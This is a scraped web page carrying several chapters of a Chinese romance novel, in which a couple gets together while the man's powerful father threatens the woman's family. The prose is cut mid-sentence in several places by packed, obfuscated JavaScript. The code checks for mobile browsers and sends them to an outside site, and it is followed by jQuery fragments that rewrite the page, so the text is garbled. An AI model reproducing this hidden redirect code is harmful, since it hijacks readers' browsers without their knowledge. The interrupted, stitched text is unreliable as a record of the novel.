l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938602|126109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,仰靠在椅背上闭目养神。 小区大门自动识别周森的车牌,道闸杆徐徐上升。 周森听到声音掀了下眼皮,对徐晨说:“徐叔,麻烦直行第二个路口,左拐。” 徐晨不明所以,但不敢多问,打着方向盘往周森所说的方向开去。 谁知车子缓缓驶入死路。 徐晨停稳车,犹豫地回头:“到了。” 周森点点头,兀自打开车门下车,然后绕到车后,打开后备箱。 见状,徐晨赶紧跟着下车。 只见周森拎起他放入后备箱的几个礼盒,朝道旁走去。随着他的靠近,路边的感应灯亮起,照亮几个并排的垃圾回收箱。 徐晨眼睁睁看着周森干脆利落地把礼品甩进不可回收处理站里,甚至来不及出声阻拦。 寂静的深夜小区,骤然发出一声重物撞击金属的巨响。 这声音不止打破了小区的沉寂,也沉甸甸地敲在徐晨心脏上。 给周森的年货是他亲自准备的。他这随手一扔,扔掉的可是他几年的工资! 而且…… 他拦住准备坐回车里的周森,沉声道:“周董还让我给您带一句话。” “你说。” “不要在无聊的事情上浪费时间,如果您始终执迷不悟,他会酌情替您清理一些不必要的障碍。” 周森收起表情。 “周董还说,他不喜欢不入流的香味,劝诫您千万注意,绝不能沾染一星半点。” 周森安静地徐晨对视很久,最后他还是对他笑了一下,说:“车子你开走吧,有空找代驾送回来就行。” 徐晨愈发猜不透周森的意思,忙道:“我送您去……” “你送什么?”周森好笑地反问:“大门就在左手边。怎么,周董没让你绘制我家地形图?” 徐晨的脸色霎时变得有些苍白。 周森随和地对他摆摆手,他犯不着在这为难一个传声筒。 他在徐晨的注视下离开。 这个晚上月色不错,皎洁得月光温柔地洒了一地银霜。 周森死要面子,强撑到按开指纹锁,才冲去厕所吐了一通。吐完刚站起身,尚未来得及喘口气,再次因为翻江倒海的恶心而弯下腰。 他在厕所折腾了大半个小时,才昏头涨脑地从里面晃出来。 方才手机在仓促间被丢在地毯上,他跌跌撞撞地走过去,挨着茶几坐下喘了几口才伸手去捡。 解锁手机屏幕,打开通讯软件,翻找联系人。 沈吾安,沈吾安,沈吾安。 周森视线模糊得厉害,眼皮仿佛挂着个千斤坠。 滑得快了,看不清上面的字,滑得慢了,还是看不清。 神魂恍惚间,终于找到沈吾安的头像,然后戳进去。 周森凭借最后的意志力,朝对方发去消息。 随后手机一扔,半倚在茶几上不省人事。 - 世界的另一端,正在和时差作斗争的阮松青意外收到好友来信,只有两个莫名其妙的字: 【倭瓜】 阮松青:【啊?】 阮松青:【什么意思?】 阮松青:【大过年的你怎么骂人呢?】 60.Chapter 060 Chapter 060 沈吾安吃完饺子入睡没多久,被一阵急促的铃声惊醒。 阮松青在电话那头用快哭了的声音问她:“沈吾安,你在哪?” 这话听着暧昧,沈吾安稳了稳心神,小心翼翼地回答:“我在工作室,怎么了?” “孟叔的工作室?”他立刻换上惊喜的哭腔。 “是啊,怎么了?” “你有空去看看阿森吗?”阮松青语速很快:“他回了趟老家,好像受刺激了。” “什么?” “他给我发了条很奇怪的信息,然后现在电话不接短信也不回。我人不在国内,孟叔这时候也在南方海岛度假!幸好你还在,你能不能去看看他。” 什么样的消息能让阮松青紧张成这样? “他说什么了?”沈吾安问。 阮松青静了静,说:“倭瓜。” 沈吾安:“……” “很奇怪是不是?阿森从来不这样,”阮松青察觉到沈吾安异常的沉默,解释:“就当是我过度解读吧,但阿森遇到他哥的事情就容易反常。他这次回去老宅,谁知会不会有没脑子的跟他说些什么。” 可能是睡着了吧,也可能是喝多了。 沈吾安能有很多个解释宽慰阮松青,但她选择立即出发,只因为那两个字。 大年夜压根打不到网约车,沈吾安毫不犹豫地扫了辆小电驴就跟着导航往周森家走。 开到一半时,头顶突然一声巨响,然后是接二连三的烟花炸开的声音。 蛇紫嫣红,五彩纷呈的烟花将通向周森家的路照得璀璨夺目。她在锣鼓喧天的热闹中,载着满背的绚烂烟花奔向周森。 - 此起彼伏整耳欲聋的烟花在落地窗外盛开,近得仿佛触手可及。 而周森背靠茶几,在安静的客厅里睡得毫无所觉。 两声密码输入错误的提示音后,随着清脆的“滴哩”,电子锁应声而开。 隔了一秒,自门后探出个小心翼翼的脑袋。 沈吾安圆溜溜的双眼绕着客厅扫了一圈,在茶几边上看到歪着头的周森。 她深吸一口气,利落地进屋拖鞋,然后跑到周森身边轻拍他:“周森,周森。” 周森费力掀开眼皮,迷糊地看她一眼。 沈吾安不确定他是否清醒,柔声询问:“怎么睡在这里呢?喝醉了吗?” 眼看周森又要闭眼,她在爆破声中凑近他的耳边对他说:“不要睡在这儿,去房间吧。”、 “周森。” 沈吾安拖长音音调:“周森——” 周森终于在满耳嘈杂中再次睁眼,视线聚焦时看到的就是沈吾安近在咫尺的双目。 他缓缓眨眼,然后低垂目光顺着她的鼻梁往下,落在她红润的唇上。 巨大的圆形烟花在他们身后绽放。 沈吾安莫名呼吸一滞,感觉到周森扬起下巴靠近她。 呼吸交错,周森有一瞬的迟疑。很快再次抬眼看向沈吾安,确定那是午夜梦回时常见到的双眸。他做了个吞咽,眸色又深又沉,视线最终停在她微张的嘴唇,呼吸在无意识中变得粗重。 他像是在确认。 接着他在沈吾安心跳如擂中,张开五指压在她的脑后,手指轻松地插入她的头发里,用了些许力道却又毫不犹豫将她带向他,偏过头吻了下去。 嘴唇相贴的那瞬间,沈吾安的大脑一片空白。 鼻息间全是周森的味道,混着清凉的薄荷味,几秒后她才从他温柔中回过神。 “我……” 沈吾安想退,但周森没有给她机会,扣着她的脑袋加重这个吻。 他的吻逐渐变得很凶,追逐着沈吾安不断加深再加深。 他们不知何时交换了体位,沈吾安被迫仰头跟他接吻,因为周森偶尔的用力而感到细微却深刻的疼痛。疼痛自舌根如触电般传到颅顶,激得她头皮神经发麻。 她的双手无意识地攀上周森的后颈,和他在响彻天际的烟花鞭炮声中,在静寂空旷的客厅里,接了一个很长的吻。 迎接新岁的爆竹声渐渐平息,空间只剩下喘息声和衣物摩擦的声音。 激烈过后,周森的吻再次变得温柔。他轻柔地吸吮她的嘴唇和舌尖,细密地不间断地吻她。 最后他的吻落在她的唇角,两人终于分开。周森严丝合缝地贴着她,与她鼻尖顶着鼻尖对视数秒。然后再次喘着气偏过脸,虔诚地得偿所愿地亲在她左眼下的那颗痣上。 沈吾安浑身都在不可抑制地颤栗,听到周森凑到她的耳边,用沙哑却温柔到极致的声音说:“我爱你。” - 六点。 沈吾安在生物钟的作用下醒来,伸手开灯的时候不小心误触到一旁的开关,窗帘随着指令缓缓打开。 天还未亮,天际挂着几层薄薄的金色云彩。 昨晚的记忆不受控制地一幕幕闪回,周森的呼吸,周森的温度,还有周森说过的话。 它们依旧让沈吾安面红耳赤,心跳加速。 她闭着眼揉搓眉心,靠在床头拖延时间,实在不知道该怎么去面对周森。 昨晚那情况,她都说不准到底是周森不讲武德,还是她意志力过于薄弱。 若不是最后周森及时打住,两人差点擦枪走火。她在客房洗完澡躺下,仍能听到主卧哗哗的流水声,过了很久都没停止。 她用清水冲了好几次燥热的脸,都未能洗去无处不在的属于周森的味道。 沈吾安决定当一个短暂的鸵鸟。趁着周森还未醒,她轻手轻脚地洗漱完,准备偷偷开溜。 谁知门一打开,便看到了端坐在客厅的人。 沈吾安着实被吓了一跳,脱口而出:“你不睡觉,在这里干什么?” “睡不着。”周森说。 他嗓音沙哑,没有好一点,瞬间把沈吾安带回昨晚。周森喘息压在她身上,用气音在她耳边说话。 沈吾安耳根发热,不自然地抬手搓了几下。 “怎么醒这么早?”他问。 “我,打算回孟叔工厂做香。” “吃点东西,我送你过去。” 周森说完从沙发上起身,走向厨房。 沈吾安这才发现他的情绪很怪,甚至在她看来有些冷淡。 她茫然地在原地站了会儿,才走到厨房边,对正在冰箱里翻找的周森说:“如果你有事,我可以自己回去。” 闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971288|126109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言,周森合上冰箱的门,冷静地看着她问:“昨晚怎么来的?” “共享小电驴。” 周森歪了下头,没有改变主意:“我送你回去。” 沈吾安浑身的血液在周森的态度里彻底冷却。 她不明白他究竟为什么这样,猜不透他究竟是在为她的不请自来生气,还是懊恼昨晚的酒后失态。 - 用完一顿无人开口的早餐。 沈吾安跟着周森乘坐电梯去地下车库,发现周森竟然还选择了一辆她从未见过的车。 车内味道很新,除了新车的皮革味外,没有其它的味道。 一路上周森面无表情地平视前方,全程未曾开口。 在某个等红灯的间隙,沈吾安抿唇偷看了周森一眼。 她的动静不算小,但他却仿佛毫无所觉。 于是她也默契地保持沉默。 - 本以为以周森今日的态度,把她送到目的地后,他就会立刻离开。 可他偏偏又反常地下车锁门,固执地送她进工作室,然后又做出一副要留下的意思。 沈吾安被他一系列反常的行为整得满头雾水,犹豫地问:“你要喝茶吗?” 周森收回落在工作桌上的视线,点头说好。 沈吾安无奈地深吸一口气,去茶水间煮水。 年前孟叔不知从哪淘来一套茶歇茶具,一股脑儿都存放在茶水间,到现在没收拾整理,把本就不大的空间堆得更为逼仄。 沈吾安取茶叶的时候不小心撞到桌角,这类原木手雕家具既重又硬,疼得她直抽冷气。 她半蹲在地上按揉小腿,憋了一早上的情绪突然有些崩不住。 她觉得周森有些莫名其妙,发短信的是他,主动的也是他。 现在态度一百八十度大转弯的,还是他。 正郁闷着,感觉有人靠近,和她一起挤进狭窄的室内。 “撞哪了?”周森问。 沈吾安撇了下嘴,没有回答。 周森欲伸手扶她,被沈吾安轻轻避开。 他的手落了空,同时沈吾安站起身。 心思各异的两人隔空对视一秒。 烧水壶内水温达到沸点,发出尖锐鸣叫声。 沈吾安深吸一口气,借转过身关闭电源的间隙,试图整理情绪。 只是这口气尚未吐出,她的手肘突兀地被身后的人拽了一把。 周森用了很大的力气,让沈吾安感觉自己几乎是被股蛮力甩到周森的面前。 她的脑门撞到他的胸口,属于周森的气息铺天盖地朝她压过来。 沈吾安挣扎着从他的怀里挣脱出来,想用眼神表示自己的不满。 刚抬头,就看到附身靠近的周森。 下一刻,他强势地含住她的唇。 趁沈吾安错愕之际,他来势汹汹地撬开她的齿关,舌尖入侵,霸道地卷走她的津液和呼吸。 沈吾安伸手撑在他的胸膛推拒了两下,换来的是周森更凶的吻。 周森禁锢着沈吾安,不容抗拒地吻着她,直到怀里的人不再僵硬,松开抵在他胸口的手,然后慢慢环绕到他的后背。 和他一样,给他完整的拥抱。 61.Chapter 061 Chapter 061 烧水壶的鸣叫声逐渐平息。 他们又在窄狭的茶水间安静地吻了很久。 周森松开她,抬手用拇指抹了下她比平时更显红润的嘴唇。随后看着神情茫然的她,扑哧笑出声。 沈吾安又要皱眉,周森赶紧重新抱紧她,把她的脑袋按在自己胸口,坦然地让她听他失衡急促的心跳。 “不要这么看着我。”他的声音自胸腔,和他的心跳声一起传到她的耳朵里。 沈吾安晃晃脑袋,被周森一把按得更紧。 她看不到他的表情,只好问:“刚才为什么不高兴?” “我没有。” “。” 才不是没有。 周森承认:“……只是以为你要偷跑。” 沈吾安:“……” 她是真的要偷跑。 “周森,我们……”沈吾安欲言又止。 周森亲了她的头顶,接过话:“我后悔了。” 他这么说。 “我说过可以等你,但现在我发现我等不了。”周森垂眸:“我之前说的都是骗你的。如果你拒绝我,我没法和你做朋友,我说服不了自己。” 他的声音暗哑发涩。 沈吾安安静地任他抱着,心中的天秤正失控地疯狂倾斜。 周森深吸口气:“还有一件事,我必须向你坦白。前阵子临时决定去你家找你,我动用了一些家里的关系。所以我父亲很可能已经知道你的存在。他现在急迫地想要促成我和夏迟的婚事。为了达到目的,我猜他会采取一些手段。” 沈吾安从他怀里出来,抬头茫然地看向周森。 这情节她熟,古早言情文里都有这样的情节,关键词涉及:“五百万”,“支票”,还有“永不相见”。 “你父亲会找我吗?”她问。 “也许会。”周森不想隐瞒她:“不过我会尽力阻止这件事发生。” “来找我也没关系。”沈吾安说。 周森原本还打算说些宽慰她的话,却因为她的回应而突兀地顿住。 他怔怔地看着她。 沈吾安自然地握住他的双手,紧盯他的双目:“我们一起面对,一起努力。” 周森瞳孔微颤,半晌没有言语。 “直到不留遗憾。”沈吾安继续说。 “你……”周森不能确定她的意思,或者说是不敢确定。 “我们在一起。”沈吾安很坚定:“周森,你不会再是一个人。” 她记忆中的周森意气风发,待人接物松弛有礼,任何时候都游刃有余。不笑的时候看上去脾气臭臭的,笑起来又总带着点不经意的痞气。 可昨晚她打开门,看到周森垂头倚靠在茶几边。身后落地窗外迎春的烟花热闹喧嚣,衬得他这里更加冷清。 明明该是众星捧月的人,怎么会在本应阖家团圆的大年夜,独自一人孤零零地睡在冰凉的客厅里呢? 沈吾安觉得不该是这样的。 万幸的是,上天安排他们相遇。 - 这个上午,周森在茶水间抱了她很久都不肯松开臂膀。 但是叶女士的复原香迫在眉睫,沈吾安没有太多的时间儿女情长,很快重新投入到制香的进程中。 和忙碌的沈吾安不同,放年假的周先生闲到无所事事。 沈吾安到哪,他就到哪。 沈吾安挑药材,他问药名。沈吾安称重,他问重量。 这点打扰没有妨碍沈吾安的进程,就是周森的存在感实在太强。 最后沈吾安分了点香泥给他。他便笑眯眯地在她身边玩香泥。 临近傍晚,周森的手机开始有电话进来。他漫不经心地挂断,对方很快再次拨打。频率随周森挂断的次数,越来越高。直到周森彻底切断手机的电源。 “怎么了?”沈吾安停下手里的工作:“是不是有事要忙?” “没事。”周森随口回答:“今天夏迟回国,他们想找我去接机。” 沈吾安适时闭嘴。 安静了会儿,周森笑着转头问:“不劝我去接?” 的确是过去的她会做的事。 但不是现在的。 沈吾安假装忙碌。 周森偏不肯随她意,绕到她的正面,弯腰去看她的表情。 沈吾安忍不住瞪他,想问他是不是无聊,却在接触到周森的视线时,突然改口:“不劝。谁爱去谁去,你不能去。” 周森还是保持着抬头的姿势看着她,掩饰在眼底的不安和试探逐渐被柔软替代,最终还是仰头吻住沈吾安。 - 周森的年假只有三天,任着性子陪沈吾安在工作室搓了三天泥,到第四天也不得不穿上其实并不那么舒服的西装回到工作状态。 沈吾安不清楚他具体的工作安排,周森只在离开前对她交待说要去I国处理些事,阮松青也在赶去的路上。 他这一去便是好多天,隔着时差和繁忙的工作安排,两人之间的联系只有错频的文字聊天。 庆幸的是叶女士的复原香在截止日前成功完成,并由孟叔亲自送到叶女士手里。 叶女士非常满意。 孟达海回来后向沈吾安传达了这个好消息,同时带来另一个喜讯——叶女士手头有几个政府支持的项目,有意与他们合作。 于是沈吾安没等到周森回来,就收拾行李和孟达海出了一趟差。先后参加了几个讲座和研讨会,然后又在交流会中集中培训了近一个礼拜。 待沈吾安风尘仆仆回到工厂,已是一个月以后。 年味也早随着开工消失殆尽。 沈吾安过了一个很没有年味的春节,也收获了一个谈了仿佛没谈的恋爱。 她的航班在机场降落时,周森正忙着一场发布会,分身无术的他没能来机场接她。 但因为之前答应过搬到他家隔壁,所以在沈吾安抵达员工宿舍之前,周森安排的人就已早早等在楼下。 沈吾安要搬的东西不多,只有几个箱子,很多旧物和收藏品都在上次的入室盗窃中被毁坏。 把打包好的搬家行李都交给搬家公司的人,她两手空空坐进周森留给她的车子出发前往她的新家,给周森发了条消息。 意料之中没有收到回复。 新家的正门正如周森所言,拥有自己的独门电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈吾安几次试图等他,等到的都是烂醉如泥的周森。 她开始后知后觉地感到奇怪。 记忆中过去周森固然忙碌,却鲜少让自己醉成这样,近乎失态。 - 得找个合适的时机问问周森。沈吾安这么打算。 只是在这个沈吾安认为的合适的时机来临前,她先在下班路上遇到了周文州的座驾。 周文州并不在车上,从副驾下来的是徐晨。 他礼貌地拦住沈吾安的去路,彬彬有礼自我介绍的同时,伸长手臂引向路边的黑色高档轿车。 “周董想找您谈谈。” 沈吾安下意识退后一步。 见状,徐晨又说:“周董不会为难你。他设了个私宴,烦请沈小姐移步。” 沈吾安捏紧包带,摇头拒绝:“我没空。” 听到她的回答,徐晨看上去很是无可奈何地叹了口气,那个表情好像在埋怨沈吾安的不懂事。 然后他耐心解释:“沈小姐,这和您的意愿无关。周董的时间非常有限,请您上车。我们都不想把局面弄得很难看,是吗?” 他说完抬了下眼镜,好似不经意地朝后方看了眼。 沈吾安不自觉跟着去看,看到周文州的座驾后门不知何时出现了五辆车。在徐晨的暗示后,从每辆车里跳下来两个身着黑色西装的保镖。 沈吾安又回头看徐晨。 徐晨仍然维持着谦和有礼的笑容,温和地问:“可以上车了吗,沈小姐?” 62.Chapter 062 Chapter 062 强迫她去谈个话而已,不需要这么大的阵仗。 要带走她,两个保镖就绰绰有余,何必找这么多人。 沈吾安冷声道:“走吧。” 徐晨微躬腰,做了个“请”的手势。 - 足以宴请二十人的包厢里巍然坐着位温文尔雅的中年男士。他的脸上虽已沾染岁月的痕迹,但保养极好,气质出众不怒自威。只是他的五官本是柔和之相,却因眉宇间隐约的狠戾之气而显得不可向迩。 听到开门的动静,他自平板电脑前抬头,极淡也极冷漠地蔑了沈吾安一眼,然后对她身后的服务员做了个关门出去的手势,唯独留下了徐晨。 偌大的圆形餐桌上,大理石质地的转盘载着摆盘精美的食物顺时针自转。 没有人先开口,沈吾安停在离餐桌几米远的地方和周文州冷漠对峙。 周文州面无表情看了她片刻,突然很轻地笑了下,吩咐徐晨:“安排沈小姐入座。” 徐晨立即尽责地执行命令,拉开周文州正对面的椅子,对沈吾安说:“请坐。” “坐吧。”周文州收起平板:“我们的谈话有可能不会很快结束,没必要平白浪费体力。” 周文州说完闲适地往后靠到椅背,双肘撑在椅子的扶手上,十指随意交握等待沈吾安的行动。俨然一副沈吾安不坐,他便不会开始谈话的态度。 果然,直到沈吾安入座,他才再次开口:“沈小姐最近有和家里联系吗?” 沈吾安皱了下眉。 “没有是吗?”周文州从她的表情里推断出答案,了然于胸地点点头:“没联系也没关系,我可以让徐晨向你转述你父亲药材店的近况,还有你爷爷那里遇到的一些麻烦。” “我爸和我爷爷?”沈吾安不可置信:“你找他们的麻烦?” 周文州微笑:“我最近的确给他们找了些事情做,不过也不止是他们。如果沈小姐有兴趣,我可以让徐晨向你转达我的后续安排。” 沈吾安偷偷捏紧藏在桌底的拳头。 “觉得愤怒?”周文州似笑非笑地观察她的表情,轻飘飘地问:“想得到解决办法吗?” 她不可置信地看着他,呼吸逐渐急促。 周文州给了沈吾安几分钟开口的时间。 他本用不着亲自来这里见她,但他实在没耐心继续在沈吾安这样微不足道的人身上浪费时间。他必须快速且干脆利落地让这个污点从周森和他的世界里消失。 “没想到说辞?”面对始终沉默的沈吾安,周文州挑了下眉:“还是在等周森?” “他不会来的。”他不紧不慢地说:“你应该有所察觉,周森最近比过去忙了不少。那是因为我同样给他找了不少事做。”周文州勾了下唇:“本来我并不反对他在外面搞那些可有可无的小生意,但他最近有点不听话,惹得大家都不太痛快。” 这次他没等沈吾安的回答,又说:“通常来说,我允许周森犯些无关痛痒的小错误。当然,作为父亲也会适当包容他的任性。不过这并不代表我能容忍任何错误,你能明白我的意思吗,沈小姐?” 沈吾安勉强维持镇定的表情和他对视,浑身细胞都在对方迫人的气场下战栗着。 “我直接说吧,”周文州高高在上地看着她:“请你立刻离开周森。不管周森是和你玩玩,还是别的,从他的世界消失。” 周文州说完卸去最后的伪善,冷漠的双眼审视着沈吾安。 如他预料的一样,怯懦致使她从进门到现在几乎未曾开口。他轻易就能看出她内心的恐惧和慌乱,即使面上表现如常,但也不过是强弩之末。 “你怎么想,沈小姐?”等了几分钟,他问。 沈吾安的确如周文州所看到的,在勉励调动每一分勇气和理智让自己冷静。天性让她在上位者面前会不受控制地展露胆怯和紧张,但她不会真的被击败。 深吸一口气,沈吾安尽量让自己的声音平稳,问周文州:“你已经失去了一个儿子了,对吗?” 周文州一怔,对她的回答始料未及。 沈吾安僵硬地勾了下唇,在周文州愈发冰冷难看的脸色中,说:“继续动我试试,如果你想失去第二个儿子。” 啪! 陶瓷器皿被重重砸在实木桌面的声音。 周文州面前的茶叶混着茶水在餐桌上迅速蔓延开来,顺着桌沿往下流。 沈吾安被突如其来的声音震得一抖,瞪大眼惊恐警惕地看着周文州。 门边的徐晨立刻出门联系服务生进来清理,工作人员动作敏捷迅速地替他换了一套餐具。 和他粗暴的行为截然相反,周文州的脸上只有一层淡淡的薄怒,他似乎是终于提起一点兴趣。待餐厅再次只剩下他们三人后,他笑着问:“沈小姐这么有自信?” 沈吾安感觉有什么紧紧掐着她的喉咙,让每一次发声都变得异常困难,但她仍然一字一句清晰缓慢地对周文州说:“对。总会有人陪周森辞旧迎新,你们做不到,我可以。” 周文州脸上的笑意更深:“沈小姐的意思是,你打算要拿你父母,你爷爷还有其它人的事业换你和周森的爱情?” “周先生不必在这里恐吓我。”随着时间流逝,沈吾安的心跳逐渐平稳,经历过短暂的失控之后,理智再次回归:“但凡你还有一丝手段能让周森就范,我都不会有这荣幸坐在这儿和你谈这些。” 周文州缓缓收起笑容。 “得益于周先生的‘帮助’,周森最近过得很辛苦。但是只要他还在坚持,我就不会放弃。” 是她答应周森一起努力,一起面对。也是她承诺周森,以后都不会让他一个人。 所以就算到最后要分开,先开口说放弃的人,也绝不会是她。 室内鸦雀无声。 少顷,周文州再次开口问:“你就是用这套哄骗周森的?他吃这套?” 沈吾安皱眉。 不知想到什么,周文州不屑地嗤了下:“再深的感情也有腻味的一天,到时候你和他靠什么支撑?责任感还是自我道德约束?” 说着他低笑出声:“周森什么样的没见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144782|126109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过?也就没见过你这样穷酸的。等他对你的新鲜感过去,你们之间还剩下什么?两看相厌?沈小姐,有句话你肯定听过,由俭入奢易,由奢入俭难。周森不傻,犯不着好日子不过,非要和你一起吃苦。到时候你们还是得分开。” 沈吾安提了口气。他立即对她做出一个稍安勿躁的手势,示意她不要打断他的话。 “你和周森是两个世界的人,就算我不插手,你和他最终也走不到一起。既然结局不变,何必非要往这趟弯路上走一遭?他还年轻,目光短浅考虑不到以后的事情。但我作为过来人,还是他的父亲,难免需要多替他考虑一些。” 满桌的珍品佳肴绕着顺时针轮流转到他们的面前,却无人问津。 周文州淡淡看了会儿冷却的菜品,继续对沈吾安说:“我不希望你和周森的事成为他人日后的谈资,他更没必要背这么一个污点。” 停顿片刻,他反问沈吾安:“你想吗?” 没有得到回答。 “你也是聪敏人。”周文州露出满意的笑容,对徐晨做了个手势。 徐晨立即拿出一个很薄的文件夹,放在沈吾安面前。 “叨扰到你父亲和家人的事,你可以联系资料里的人进行赔偿。”周文州优游不迫地补充:“当然,如果你有其他要求同样可以向他提,我会尽量满足。我唯一的要求就是,出了这个门之后,请沈小姐不要再出现在周森面前。” 沈吾安沉默看着手边的文件夹,很快再次抬头看向圆桌对面的周文州,问:“如果我拒绝呢?” 周文州的眉间闪过一丝狠厉,但很快被掩饰过去:“之前我照顾孟达海的面子,没有动你和他。如果沈小姐执迷不悟,恐怕你和孟达海也会和周森一样辛苦。周森一定没有告诉你吧,他今年的大单几乎都黄了,一直有固定合作关系的老客户也跑了不少。还有核心技术被跳槽的员工偷售,本该三月底上市的新产品八成要开天窗。” 沈吾安全身血液迅速冷却。 “如果沈小姐执意要一条道走到黑,周森即将面临的远不止这些。他这些年辛苦拼搏而来的成就,很快会逐样失去。就算现在的他能为了你不顾一切,但当你们的感情淡去后,你难道能保证周森绝不会把这些失意都归责于你?” 周文州摘下眼镜,疲惫地捏了下眉心:“话尽于此,沈小姐慢慢考虑。” 话音刚落,沈吾安身后的大门骤然“嘭!”地一声被大力打开。 室内三人同时往门后看去,只看到大开门外站着两位身着黑色西装的男士,两人皆是一副踹门的动作,高抬的腿尚未收回。两人的身后是餐厅冗长的走廊,隔一段距离就有保镖三三两两地对峙着。离包厢最近的那位被另一位用胳膊卡着喉咙压在墙边。 沈吾安怔了怔,视线终于落到站在门中间的,气定神闲的周森。他比保镖还高出半个头,压迫感十足地环顾室内一周。确认沈吾安安全后,他对门口的两个保镖使了个眼色,随后如寻常步入宴会餐厅一般,徐徐走进包厢里,对周文州笑了下,说:“晚上坏,周先生。我来带走我的人。” 63.Chapter 063 Chapter 063 身居高座的周文州意味不明地对周森一笑,朝门外的人抬了下食指。 包厢的门再次被关上。 “和潘总这么快就谈完了?”周文州问。 “谈完了,谈崩了。”周森摊了下手,语气比周文州还轻松。 “这应该是你最后一次翻身的机会吧。”周文州从面前的烟盒里抽出一支烟,在桌面上点了下,并没有点燃:“不要了?” “你本来也没打算给我吧。” 周文州点点头。 “还有别的话吗?”周森始终未曾入座,等了几秒不见周文州说话,便失去耐心:“有什么话一次性说完,下次别再找她。” “和她的话在你来的时候刚说完。现在就是想了解了解你的想法。” “你说。” 周文州又低头笑了一下。明白要不是为了沈吾安,周森不可能耐着性子在这里和他说话。 亲疏远近,这小子分辨得很好! “你接下来打算怎么办?”周文州淡漠地问:“失去和盛翔继续合作的机会,你还能撑多久?” 周森想了想,不甚在意地回答:“撑过第一季度没什么问题吧。” 周文州对他满不在乎的态度感到不满,皱了下眉:“然后呢?” 没钱没权,说不定还要背上一身债务。已经到了穷途末路的地步,怎么还能以这么副无所畏惧的态度和他谈话。 在他印象中,周森还是那个毛躁冲动的性子。那一年听到警方找到周颂今尸体的消息,他不顾阻拦顶着大雪也要去山顶木屋,中途车子陷进半山腰的深雪里动弹不得,他就手脚并用往山顶爬。周颂今的葬礼上,有人偷偷议论周颂今的是非,他跟疯狗一般扑上去骑着人打。夏迟惊慌失措地去拉他,被他无意一个肘击误伤,花了好久才止住鼻血。再到后来他突然一声不吭申请全额奖学金出国留学,只用周文州给他的副卡买了出国的机票,之后再没动用家里一分钱。 这么多年过得怎么样,辛酸苦辣统统对他们只字未提。 上一次两人心平气和地坐在一起,还是在他向傅倾君申请启动资金的谈话后。他穿着在周文州看来粗制滥造的廉价西装,自以为伪装得很好地,有极为别扭地和他完成了一顿不算愉快的晚餐。 至少那个时候,他还是个藏不住心事的毛头小子。 几年过去,他倒是真的看不透周森了。 就好比现在,周森对他勾了下嘴角,淡然回答他的问题:“你猜。” 周文州没有说话。 身后传来信息传达的震动声。 周森笑着蔑徐晨:“徐叔,不看看消息吗?” 徐晨看向周文州,获得认同后,解锁手机看消息。只是一眼,脸色就起了微妙的变化。 “让我猜一下,是C市的项目被紧急叫停了,对吗?”周森气定神闲地问。 徐晨在周文州的注视下,为难点头。 “不必太意外。”周森重新看向周文州:“我送你的第一份小礼物。” 周文州食指和无名指之间夹着烟,虚指一下沈吾安,冷声问周森:“就为了她?” 周森很奇怪地笑了下:“随你怎么猜。时间不早,我们先告辞。” 他说完不等周文州的回应,就要带沈吾安离开。 岂料周文州再次发问:“离开周家,你觉得自己还算个什么?” 静谧的空间响起一声极轻的叹气声。 周森没有回头:“不要再找她,也别逼急我。我手里东西不多,没一样是你给的。” - 周森在熄火的后车座里沉默了很久。 然后他遣散保镖,自己驾车带沈吾安往家的方向行驶。 “你老家那边的事情,我正在解决。”周森静了一瞬,沉声道歉:“对不起,连累到你父亲和爷爷。” “你爸……周先生对他们做了什么?” “不是什么高明的商业手段。就是在你父亲的销售渠道上设置些障碍。而你爷爷那边,”周森顿顿:“医闹。” 沈吾安哑然失语。 “我已经控制住造谣生事的人,安排澄清视频和博文,配合推广。但你父亲那边有些棘手,我还在和几个客户周旋。” 此刻沈吾安并没有责怪周森的意思,只恨自己不够强大。在这样的情况下,她什么也做不了。 “你呢?” “我?” “周先生说你的公司也不太顺利。” 提到他的事,周森不知为何轻笑了声,侧她一眼:“你刚才也听到了,我这里保守估计只能熬过第一季度。到时候我变成穷光蛋,就靠你养了。” 沈吾安在短暂的沉默里仔仔细细清算了一遍所有资产和存款,然后才故作轻松地说:“养你肯定……” 她在周森带笑的眼里缓缓收声。 车子因为红灯停稳。 周森趴在方向盘上,侧头看着她笑。 他向沈吾安伸出手,掌心向上摊开手掌。 沈吾安把手放入他的手心。 周森说:“最坏的情况就是我回去接周董的班,然后把现在手头上的这些项目交给别人管理而已。” “你不想回去?” 红灯倒计时。 周森松开她的手,重新平时前方:“不想。” “那就还是我养你。” 车子再次减速,随后被周森停在路边。 他解开安全带,在沈吾安错愕的表情里,越过座间置物板,俯身吻了她。 - 如周文州所言,沈吾安的药香品牌很快遭到营销号的恶意攻击。各类污蔑的帖子博文层出不穷,她曾试图以其人之道还治其人之身,联络大V和各类测评博主澄清。可发出去的私信和邮件,全都石沉大海,毫无回音。 